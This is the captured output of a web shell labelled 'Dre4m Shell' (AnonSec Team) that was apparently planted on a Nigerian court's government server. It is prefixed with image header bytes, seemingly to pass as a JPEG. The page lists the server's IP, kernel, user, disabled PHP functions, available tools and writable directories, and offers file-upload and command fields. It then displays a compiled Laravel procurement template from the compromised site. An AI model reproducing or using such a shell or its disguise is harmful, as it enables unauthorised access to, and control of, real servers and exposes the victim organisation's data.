ÿØÿàJFIFÿáExifMM*ÿÛC  Dre4m Was Here
Dre4m Shell
Server IP : 199.250.214.225  /  Your IP : 13.59.87.38
Web Server : Apache
System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : nicngo5 ( 1001)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /home/nicngo5/grp.nicn.gov.ng/storage/framework/views/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/nicngo5/grp.nicn.gov.ng/storage/framework/views/6447e53dc7fdbce8cedea60db288fcd8ebdfa4b4.php
<?php $__env->startSection('pageTitle'); ?>
Contracts Procurement
<?php $__env->stopSection(); ?>



<?php $__env->startSection('content'); ?>

<div id="editModal" class="modal fade">
        <div class="modal-dialog " role="document">
          <div class="modal-content ">
            <div class="modal-header">
              <h4 class="modal-title">Edit Record</h4>
              <button type="button" class="close" data-dismiss="modal" aria-label="Close">
                <span aria-hidden="true">&times;</span>
              </button>
            </div>
            <form class="form-horizontal" id="editpartModal" name="editpartModal"
                    role="form" method="POST" action="" enctype="multipart/form-data">
                    <?php echo e(csrf_field()); ?>

            <div class="modal-body">  
                <div class="form-group" style="margin: 0 10px;">
                    <div class="col-sm-12">
                    <label class=" control-label">File Ref No:</label>
                    </div>
                    <div class="col-sm-12">
                            <input type="text" value="" name="file_no" id="file_no"  class="form-control" > 
                    </div>
                    
                    
                    <div class="col-sm-12">
                    <label class="control-label">Contract Description</label>
                    </div>

                    <div class="col-sm-12">
                            <textarea  name="contr_desc" id="contr_desc"  class="form-control" > </textarea>
                    </div>
                    <div class="col-sm-12">
                    <label class="control-label">Contract Values</label>
                    </div>
                    
                    <div class="col-sm-12">
                            <input type="text" value="" name="contr_val" id="contr_val" placeholder=""  class="form-control" > 
                    </div>
                    <div class="col-sm-12">
                    <label class="control-label"> Company </label>
                    </div>
                    
                    <div class="col-sm-12">
                            <select name="company" id="company"  class="form-control" >
                                <option value=""></option>
                                <?php $__currentLoopData = $companyDetails; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $list): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
                                <option value="<?php echo e($list->id); ?>"><?php echo e($list->contractor); ?></option>
                                <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
                            </select> 
                    </div>
                    <div class="col-sm-12">
                    <label class="control-label">Date Awarded</label>
                    </div>
                    
                    <div class="col-sm-12">
                            <input type="text" value="" name="dateawd" id="dateawd" autocomplete="off"  class="form-control" > 
                    </div>
                    <div class="col-sm-12">
                    <label class="control-label">Upload project file</label>
                    </div>
                    
                    <div class="col-sm-12">
                            <input type="file" value="" name="filex" id="dateawd" autocomplete="off"  class="form-control" > 
                    </div>
                    <div class="col-sm-12">
                    <label class=" control-label">Created By</label>
                    </div>
                    
                    <div class="col-sm-12">
                            <input type="text" value="<?php echo e($currentuser); ?>" name="creatdby" id="creatdby" readonly="" class="form-control" > 
                    </div>
                    <input type="hidden" id="edit-hidden" name="edit-hidden" value="">
                    <input type="hidden" id="cid" name="cid" value="">
                </div>

            </div>
                <div class="modal-footer">
                    <button type="Submit" class="btn btn-success">Save changes</button>
                    <button type="button" class="btn btn-secondary" data-dismiss="modal">Close</button>
                </div>
            
                </form>
            </div>
            
          </div>
        </div>

    
         <!--reason modal-->
         <div id="reasonModal" class="modal fade">
        <div class="modal-dialog" role="document">
          <div class="modal-content">
            <div class="modal-header">
              <h4 class="modal-title">Reason for rejection</h4>
              <button type="button" class="close" data-dismiss="modal" aria-label="Close">
                <span aria-hidden="true">&times;</span>
              </button>
            </div>
            <form class="form-horizontal" id="deletevariableModal" 
                    role="form" method="POST" action="">
                    <?php echo e(csrf_field()); ?>

            <div class="modal-body">  
                <div class="form-group" style="margin: 0 10px;">
                    <div class="col-sm-12">
                    <label class="control-label"><i id="msg-reason"></i></label>
                    </div>
                </div>
            </div>
            </form>
                <div class="modal-footer">
                    <!--<button type="Submit" class="btn btn-success" id="putedit"></button>-->
                    <button type="button" class="btn btn-info" data-dismiss="modal">Close</button>
                </div>
            
                
            </div>
            
          </div>
        </div>
        <!--end of reason-->

        <div id="DeleteModal" class="modal fade">
        <div class="modal-dialog" role="document">
          <div class="modal-content">
            <div class="modal-header">
              <h4 class="modal-title">Delete Variable</h4>
              <button type="button" class="close" data-dismiss="modal" aria-label="Close">
                <span aria-hidden="true">&times;</span>
              </button>
            </div>
            <form class="form-horizontal" id="deletevariableModal" 
                    role="form" method="POST" action="">
                    <?php echo e(csrf_field()); ?>

            <div class="modal-body">  
                <div class="form-group" style="margin: 0 10px;">
                    <div class="col-sm-12">
                    <label class="col-sm-9 control-label"><b>Are you sure you want to delete this record?</b></label>
                    </div>
                    <input type="hidden" id="deleteid" name="deleteid" value="">
                </div>
            </div>
                <div class="modal-footer">
                    <button type="Submit" class="btn btn-success">Yes</button>
                    <button type="button" class="btn btn-secondary" data-dismiss="modal">No</button>
                </div>
            
                </form>
            </div>
            
          </div>
        </div>
        
        <div id="RestoreModal" class="modal fade">
        <div class="modal-dialog box box-default" role="document">
          <div class="modal-content">
            <div class="modal-header">
              <h4 class="modal-title">Restore Variable</h4>
              <button type="button" class="close" data-dismiss="modal" aria-label="Close">
                <span aria-hidden="true">&times;</span>
              </button>
            </div>
            <form class="form-horizontal" id="deletevariableModal" 
                    role="form" method="POST" action="">
                    <?php echo e(csrf_field()); ?>

            <div class="modal-body">  
                <div class="form-group" style="margin: 0 10px;">
                    <div class="col-sm-12">
                    <label class="col-sm-9 control-label"><b>Are you sure you want to restore this record?</b></label>
                    </div>
                    <input type="hidden" id="restoreid" name="restoreid" value="">
                </div>
            </div>
                <div class="modal-footer">
                    <button type="Submit" class="btn btn-success">Yes</button>
                    <button type="button" class="btn btn-secondary" data-dismiss="modal">No</button>
                </div>
            
                </form>
            </div>
            
          </div>
        </div>
    

<div class="box box-default">
  <div class="box-body box-profile">
    <div class="box-header with-border hidden-print">
      <h3 class="box-title"><?php echo $__env->yieldContent('pageTitle'); ?> <span id='processing'></span></h3>
    </div>

    <div class="col-md-12">
                <?php if(count($errors) > 0): ?>
                    <div class="alert alert-danger alert-dismissible" role="alert">
                        <button type="button" class="close" data-dismiss="alert" aria-label="Close">
                            <span aria-hidden="true">&times;</span>
                        </button>
                        <strong>Error!</strong> 
                        <?php $__currentLoopData = $errors->all(); $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $error): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
                            <p><?php echo e($error); ?></p>
                        <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
                    </div>
                <?php endif; ?>
                <?php if($error != ""): ?>
                    <div class="alert alert-danger alert-dismissible" role="alert">
                        <button type="button" class="close" data-dismiss="alert" aria-label="Close">
                            <span aria-hidden="true">&times;</span>
                        </button>
                        <strong>Error!</strong> 
                            <p><?php echo e($error); ?></p>
                    </div>
                <?php endif; ?>               
                <?php if($success != ""): ?>
                    <div class="alert alert-success alert-dismissible" role="alert">
                        <button type="button" class="close" data-dismiss="alert" aria-label="Close">
                            <span aria-hidden="true">&times;</span>
                        </button>
                        <strong>Success!</strong> <br />
                        <?php echo e($success); ?></div>                        
                <?php endif; ?>
                <?php if(session('err')): ?>
                    <div class="alert alert-danger alert-dismissible" role="alert">
                        <button type="button" class="close" data-dismiss="alert" aria-label="Close">
                            <span aria-hidden="true">&times;</span>
                        </button>
                        <strong>Input Error!</strong> <br />
                        <?php echo e(session('err')); ?></div>                        
                <?php endif; ?>
            </div>


    <div class="box-body">
      <div class="row">
        <div class="col-md-12"><!--1st col--> 
          <?php echo $__env->make('Share.message', \Illuminate\Support\Arr::except(get_defined_vars(), ['__data', '__path']))->render(); ?>
        
        <form class="form-horizontal" id="form1" role="form" method="post" action="" enctype="multipart/form-data">
        <?php echo e(csrf_field()); ?>


            <div class="col-md-12"><!--2nd col-->
            <!-- /.row -->
            <div class="form-group">
                <div class="col-md-4">          
                    <label class="control-label">Company Name</label>
                    <select required class="select_picker form-control" id="companyid" name="companyid" data-live-search="true">
                        <option value="">Select Company</option>
                        <?php $__currentLoopData = $companyDetails; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $list): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
                        <option value="<?php echo e($list->id); ?>" <?php echo e((old('companyid') == $list->id) ? "selected" : ""); ?>><?php echo e($list->contractor); ?></option>
                        <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
                    </select>
                </div>
                <div class="col-md-4">          
                    <label class="control-label">Contract Description</label>
                    <textarea required class="form-control" id="contract-desc"  name="contract-desc"><?php echo e(old('contract-desc')); ?></textarea>
                </div>

                <div class="col-md-4">          
                    <label class="control-label">Contract Value(VAT Inclusive)</label>
                    <input required class="form-control" id="contractvalue" value="<?php echo e((old('contractvalue')) ? $contractvalue : ""); ?>" placeholder="e.g. N100000" type="text" name="contractvalue">
                    <!--<span class="form-control" ></span>-->
                </div>
            </div>
            </div>

            <div class="col-md-12"><!--2nd col-->
            <!-- /.row -->
            <div class="form-group">
               
                <div class="col-md-4">          
                    <label class="control-label">Contract Ref No:</label>
                    <input extarea class="form-control" id="fileno" placeholder="File No(Optional)"  name="fileno" value="<?php echo e(old('fileno')); ?>" >
                </div>
                

                <div class="col-md-4">          
                    <label class="control-label">Date Awarded</label>
                    <input required readonly class="form-control" id="todayDate" autocomplete="off" name="date_awarded" value="<?php echo e(old('date_awarded')); ?>">
                </div>
                
                <div class="col-md-4">          
                    <label class="control-label">Attach file</label>
                    <input class="form-control" type="file" id="file" autocomplete="off" name="filex" >
                </div>
             
                <div class="col-md-3"> <!--         
                    <label class="control-label">Attention</label>
                   <select required  name="attension" class="form-control">
                  <option value="">Select</option>
                  <option value="DFA">DFA: Director, Finance and Account</option>
                  <option value="DDFA">DDFA: Deputy Director, Finance and Account</option>
                  <option value="CA">CA: Chief Accountant</option>
                  
                        
                        </select>
                        -->
                    <input type="hidden" value="<?php echo e(Auth::user()->username); ?>" id="createdby" name="createdby">
                </div>
            </div>
            </div>

            <div class="col-md-12"><!--2nd col-->
            <!-- /.row -->
            <div class="form-group">

                <div class="col-md-2">
                    
                    <button type="submit" class="btn btn-success" name="update">
    					<i class="fa fa-btn fa-floppy-o"></i> Save
    				</button>
                </div>
            </div>
            </div>
          <!-- /.col --> 
        </div>
        </form>
        <!-- /.row -->
        <div class="row">     
        <?php echo e(csrf_field()); ?>


                
          <!-- /.col --> 
            </div>

        
            <div class="table-responsive col-md-12" style="font-size: 12px; padding:10px;">
                <table id="res_tab" class="table table-bordered table-striped table-highlight" >
                    <thead>
                        <tr bgcolor="#c7c7c7">
                            <th>S/N</th>
                            <th>File Ref No</th>
                            <th>Benficiary/Contractor</th>
                            <th>Contract Description</th>
                            <th>Contract Value <br>(VAT Inclusive)</th>
                            <th>Created BY</th>
                            <th>Date Awarded</th>
                            <th>Tracking Number</th>
                            <th>Entry Date</th>
                            <th>Action</th>
                        </tr>
                    </thead>
                    <?php $i = 1; ?>
                    <tbody>
                   
                    <?php $__currentLoopData = $procurementlist; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $list): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
                        <tr>
                            <td><?php echo e($i++); ?></td>
                            <td><?php echo e($list->fileNo); ?></td>
                            <td><?php echo e($list->contractor); ?></td>
                            <td><?php echo e($list->ContractDescriptions); ?></td>
                          
                            <td> <?php echo e(number_format($list->contractValue ,2)); ?></td>
                            <td><?php echo e($list->name); ?></td>
                        
                            <td><?php echo e($list->dateAward); ?></td>
                             <td><?php echo e($list->ID); ?></td>
                             <td><?php echo e($list->datecreated); ?></td>
                            <td>
                                <?php if($list->balance!=0): ?>
                                <button onclick="return editfunc('<?php echo e($list->ID); ?>', '<?php echo e($list->fileNo); ?>', '<?php echo e($list->contract_Type); ?>','<?php echo e($list->ContractDescriptions); ?>','<?php echo e($list->contractValue); ?>','<?php echo e($list->companyID); ?>','<?php echo e($list->dateAward); ?>')" class="btn btn-success btn-xs"><i class="fa fa-edit "></i></button>
                                <?php endif; ?>
                                <?php if($list->balance==$list->contractValue ): ?>
                                <button onclick="return deletefunc('<?php echo e($list->ID); ?>')" class="btn btn-danger btn-xs" > <i class="fa fa-trash"></i> </button>
                                <?php endif; ?>
                                <?php
                                $path = base_path('../'). env('UPLOAD_PATH', '') .'/' . $list->ID.'.'.$list->file_ex;
                                ?>
                                
                                <?php if(file_exists($path)): ?>
                                	<a href="/pro/file/<?php echo e($list->ID.'.'.$list->file_ex); ?>" target="blank" class="btn btn-secondary btn-xs">Download File</a>
                                <?php endif; ?>
                            </td>                                                         
                        </tr>
                    <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
                    </tbody>                    
                </table>
        
            </div>
            <input type="hidden" value="" id="co" name="court">
            <input type="hidden" value="" id="di" name="division">
            <input type="hidden" value="" name="status">
            <input type="hidden" value="" name="chosen" id="chosen">
            <input type="hidden" value="" id="type" name="type">
          
          <hr />
        </div>
       
  </div>
</div>



<?php $__env->stopSection(); ?>
<?php $__env->startSection('styles'); ?>
<link rel="stylesheet" type="text/css" href="<?php echo e(asset('assets/css/datepicker.min.css')); ?>">
<?php $__env->stopSection(); ?>

<?php $__env->startSection('styles'); ?>
<style type="text/css">
    .modal-dialog {
width:13cm
}

.modal-header {

background-color: #006600;

color:#FFF;

}

#partStatus{
    width:2.5cm
}

</style>
<?php $__env->stopSection(); ?>

<?php $__env->startSection('scripts'); ?>
<script src="<?php echo e(asset('assets/js/jquery-ui.min.js')); ?>"></script>
<script>
$('.select_picker').selectpicker({
          style: 'btn-default',
          size: 4
        });
$('#res_tab').DataTable();

              $("#contractvalue").on('keyup', function(evt){
        
                 if (evt.which != 190){//not a fullstop
                    var n = parseFloat($(this).val().replace(/\,/g,''),10);
                    $(this).val(n.toLocaleString());
                }
                
            });     
            
    $( function(){
        $("#todayDate").datepicker({changeMonth: true,changeYear: true,dateFormat: 'yy-mm-dd'}); 
      });

    $( function(){
        $("#dateawd").datepicker({changeMonth: true,changeYear: true,dateFormat: 'yy-mm-dd'}); 
      });

   $("#check-all").change(function(){
       $(".checkitem").prop("checked", $(this).prop("checked"))
   })
   $(".checkitem").change(function(){
       if($(this).prop("checked") == false){
           $("#check-all").prop("checked", false)
       }
       if($(".checkitem:checked").length == $(".checkitem").length){
           $("#check-all").prop("checked", true)
       }
   })

   function approve(a = '')
   {
        if(a !== ''){
        document.getElementById('chosen').value = a;
           // alert(a);
        }
        co = document.getElementById('court').value;
        div = document.getElementById('division').value;
        document.getElementById('co').value = co;
        document.getElementById('di').value = div;
        document.getElementById('type').value = 1;
        document.getElementById('form2').submit();
       return false;
   }

   function reject(a = ''){
        if(a !== ''){
            document.getElementById('chosen').value = a;
            //alert(a);
        }
        co = document.getElementById('court').value;
        div = document.getElementById('division').value;
        document.getElementById('co').value = co;
        document.getElementById('di').value = div;
        document.getElementById('type').value = 2;
        document.getElementById('form2').submit();
       return false;
   }
   
   function viewReason(reason, a,b,c,d,e,f,g){
    //document.getElementById('putedit').setAttribute("onclick", "editfunc('"a"','"b"','"c"','"d"','"e"','"f"','"g"')");
    document.getElementById('msg-reason').innerText = reason;
    
    $("#reasonModal").modal('show')
      
   }

   function delet(a = ''){
    if(confirm('Are you sure you want to delete this record!')){
        if(a !== ''){
            document.getElementById('chosen').value = a;
            //alert(a);
            }
            co = document.getElementById('court').value;
            div = document.getElementById('division').value;
            document.getElementById('co').value = co;
            document.getElementById('di').value = div;
            document.getElementById('type').value = 3;
            document.getElementById('form2').submit();
    }
       return false;
   }


    function editfunc(a,b,c,d,e,f,g)
    {
        $("#reasonModal").modal('hide');
        document.getElementById('file_no').value = b;
        document.getElementById('contr_desc').value = d;
        document.getElementById('contr_val').value = e;
        document.getElementById('edit-hidden').value = 1;
        document.getElementById('company').value = f;
       
        document.getElementById('cid').value = a;
        document.getElementById('dateawd').value = g;
        $("#editModal").modal('show')
    }

     function deletefunc(x){
        //$('#deleteid').val() = x;
        
        document.getElementById('deleteid').value = x;
        $("#DeleteModal").modal('show');
    }

function restorefunc(x){
        
        document.getElementById('restoreid').value = x;
        $("#RestoreModal").modal('show');
    }
    
    function getDivisions()
    {
        document.getElementById('status').value = "";
        if($('#court').val() !== "")
        {
            $('#form1').submit();
        }
    }

    function getStaff()
    {
        document.getElementById('status').value = "";
        if($('#division').val() !== ""){
            $('#form1').submit();
        }
    }

    function getTable()
    {
        if($('#status' ).val() !== ""){
            $('#form1').submit();
        }
    }

    function checkForm()
    {
        var court = $('#court').val();
            division = $('#division').val();
            fileno = $('#fileNo').val();
            fname = $('#fname').val();
            oname = $('#oname').val();
            sname = $('#sname').val();
            desc = $('#cvdesc').val();
            amount = $('#amount').val();
            if(court == ""){
                alert('You have empty fields!');
            } else {
                if(division == ""){
                    alert('You have empty fields');
                } else {
                    if(fileno == ""){
                        alert('you have empty fields!');
                    } else {
                        if(fname == ""){
                            alert('you have empty fields!'); 
                        } else {
                            if(oname == ""){
                                alert('you have empty fields');
                            } else {
                                if(sname == ""){
                                    alert('you have empty fields!');
                                } else {
                                    if(desc == ""){
                                        alert('you have empty fields!');
                                    } else {
                                        if(amount == ""){
                                            alert('you have empty fields!');
                                        } else {
                                           $('#form1').submit();
                                        }
                                    }
                                }
                            }
                        }
                    }
                }
            }
            return false;
    }
</script>
<?php $__env->stopSection(); ?>


<?php echo $__env->make('layouts.layout', \Illuminate\Support\Arr::except(get_defined_vars(), ['__data', '__path']))->render(); ?><?php /**PATH /home/nicngo5/grp.nicn.gov.ng/resources/views/Procurements/procurement_contract_entry.blade.php ENDPATH**/ ?>

Anon7 - 2022
AnonSec Team